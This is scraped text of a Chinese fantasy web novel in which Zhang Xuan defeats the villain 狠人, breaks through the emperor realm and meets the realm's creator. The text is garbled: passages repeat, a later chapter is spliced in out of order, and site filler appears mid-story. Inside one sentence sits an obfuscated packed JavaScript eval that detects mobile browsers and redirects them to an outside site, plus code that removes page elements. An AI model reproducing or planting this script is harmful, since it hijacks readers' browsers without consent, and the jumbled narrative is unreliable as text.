自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第211章不会 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253851|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 